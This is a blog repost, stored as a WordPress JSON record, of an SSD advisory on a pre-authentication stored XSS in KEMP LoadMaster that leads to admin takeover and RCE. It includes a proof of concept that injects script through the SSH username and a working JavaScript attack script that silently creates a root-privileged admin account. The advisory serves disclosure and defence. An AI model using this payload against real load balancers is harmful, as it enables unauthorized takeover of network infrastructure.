{"id":7765,"date":"2017-05-25T14:19:07","date_gmt":"2017-05-25T22:19:07","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/05\/25\/news-1550\/"},"modified":"2017-05-25T14:19:07","modified_gmt":"2017-05-25T22:19:07","slug":"news-1550","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/05\/25\/news-1550\/","title":{"rendered":"SSD Advisory &#8211; KEMP LoadMaster from XSS Pre Authentication to RCE"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Thu, 25 May 2017 06:01:41 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3194\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3194');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p>KEMP&#8217;s main product, the <a href=\"https:\/\/kemptechnologies.com\/products-solutions\/\" target=\"_blank\">LoadMaster<\/a>, is a load balancer built on its own proprietary software platform called LMOS, that enables it to run on almost any platform: As a KEMP LoadMaster appliance, a Virtual LoadMaster (VLM) deployed on Hyper-V, VMWare, on bare metal or in the public cloud. KEMP is available in Azure, where it is in the top 15 deployed applications as well as in AWS and VMWare vCloud Air.<\/p>\n<p>A cross site scripting web vulnerability has been discovered in KEMP LoadMaster v7.135.0.13245 (latest). A non authenticated user is able to inject his own malicious Javascript code into the system and use it to create a new web administrator user.<\/p>\n<p><strong>Vendor response<\/strong><br \/> We were unable to get an update beyond this statement from the vendor:<br \/> <em>Expect a fix in our new version available Jan 2017.<\/em><\/p>\n<p><span id=\"more-3194\"><\/span><\/p>\n<p>The issue is located in the <em>System Configuration > System Log Files &#8211; View Audit LogFile (Image 1)<\/em> section.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1.png\" data-slb-active=\"1\" data-slb-asset=\"1960856698\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1-300x224.png\" alt=\"\" width=\"300\" height=\"224\" class=\"alignnone size-medium wp-image-3200\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1-300x224.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1-768x573.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1.png 888w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Once administrative access is obtained, the attacker can use it to execute arbitrary code.<\/p>\n<p><strong>Proof of Concept (PoC):<\/strong><br \/> 1 &#8211; Verify, in the victim machine the Audit LogFile (System Configuration > System Log Files): it is empty (Image 2)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_2.png\" data-slb-active=\"1\" data-slb-asset=\"779364639\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_2-300x70.png\" alt=\"\" width=\"300\" height=\"70\" class=\"alignnone size-medium wp-image-3201\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_2-300x70.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_2-768x179.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_2.png 954w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>2 &#8211; Inject simple HTML\/JS code in the log page, using the ssh client: from an attacker machine open a shell and type the following code:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59275859a15a8031434890\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">XHTML<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ssh &lt;button onclick=alert(1)&gt;Click&lt;\/button&gt;@10.0.8.145<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0041 seconds] -->  <\/p>\n<p>3 &#8211; Let the login fail using wrong password (Image 4)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_4.png\" data-slb-active=\"1\" data-slb-asset=\"164686629\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_4-300x108.png\" alt=\"\" width=\"300\" height=\"108\" class=\"alignnone size-medium wp-image-3202\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_4-300x108.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_4-768x276.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_4.png 986w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>4 &#8211; Check again the log page (View Audit LogFile): as you can see the HTML\/JS code has been correctly injected (Image 5)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_5.png\" data-slb-active=\"1\" data-slb-asset=\"602912705\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_5-300x151.png\" alt=\"\" width=\"300\" height=\"151\" class=\"alignnone size-medium wp-image-3203\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_5-300x151.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_5-768x387.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_5.png 985w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>Attack script:<\/strong><br \/> 1 &#8211; Start a web server and host on attack machine the following JS file (kemp_attack.js) (Image 6)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_6.png\" data-slb-active=\"1\" data-slb-asset=\"26728747\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_6-300x118.png\" alt=\"\" width=\"300\" height=\"118\" class=\"alignnone size-medium wp-image-3195\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_6-300x118.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_6-768x303.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_6.png 942w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59275859a15b0009624776\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">JavaScript<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/\/BEGIN\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/  openl = function(verb, url, data, target) {    var form = document.createElement(&#8220;form&#8221;);    form.action = url;    form.method = verb;    form.target = target || &#8220;_self&#8221;;    if (data) {      for (var key in data) {        var input = document.createElement(&#8220;textarea&#8221;);        input.name = key;        input.value = typeof data[key] === &#8220;object&#8221; ? JSON.stringify(data[key]) : data[key];        form.appendChild(input);      }    }    form.style.display = &#8216;none&#8217;;    document.body.appendChild(form);    form.submit();  };  \/\/modify the target IP (10.0.8.145) and user\/pass as necessary  openl(&#8216;POST&#8217;, &#8216;https:\/\/10.0.8.145\/progs\/useradmin\/add&#8217;, {user:&#8217;Peru&#8217;,pass:&#8217;GoSecure!&#8217;,s:&#8217;Add+User&#8217;}, &#8216;newWindow&#8217;);  \/\/modify the target IP as necessary, xuser must be equal to user. Increase the timeout (250) for debug  setTimeout(function(){openl(&#8216;POST&#8217;, &#8216;https:\/\/10.0.8.145\/progs\/useradmin\/setopts&#8217;, {xuser:&#8217;Peru&#8217;,root:&#8217;1&#8242;}, &#8216;newWindow&#8217;);}, 250);  \/\/modify the target IP as necessary. The timeout must be greater than the previous  setTimeout(function(){openl(&#8221;, &#8216;https:\/\/10.0.8.145\/&#8217;, &#8221;, &#8216;newWindow&#8217;);}, 500);  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/END\/\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59275859a15b0009624776-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b0009624776-25\">25<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-1\"><span class=\"crayon-c\">\/\/BEGIN\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-2\"><span class=\"crayon-v\">openl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">verb<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">target<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-3\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">var<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">document<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">createElement<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;form&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-4\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-5\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">method<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">verb<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-6\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">target<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">target<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;_self&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-7\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">var<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">key <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">var<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">document<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">createElement<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;textarea&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">typeof<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;object&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">JSON<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">stringify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">appendChild<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-14\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-15\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">style<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">display<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;none&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-16\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">document<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">body<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">appendChild<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-17\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">submit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-18\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-19\"><span class=\"crayon-c\">\/\/modify the target IP (10.0.8.145) and user\/pass as necessary<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-20\"><span class=\"crayon-e\">openl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;POST&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;https:\/\/10.0.8.145\/progs\/useradmin\/add&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;Peru&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">pass<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;GoSecure!&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;Add+User&#8217;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;newWindow&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-21\"><span class=\"crayon-c\">\/\/modify the target IP as necessary, xuser must be equal to user. Increase the timeout (250) for debug<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-22\"><span class=\"crayon-r\">setTimeout<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-e\">openl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;POST&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;https:\/\/10.0.8.145\/progs\/useradmin\/setopts&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">xuser<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;Peru&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">root<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;1&#8217;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;newWindow&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">250<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-23\"><span class=\"crayon-c\">\/\/modify the target IP as necessary. The timeout must be greater than the previous<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59275859a15b0009624776-24\"><span class=\"crayon-r\">setTimeout<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-e\">openl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;https:\/\/10.0.8.145\/&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;newWindow&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">500<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59275859a15b0009624776-25\"><span 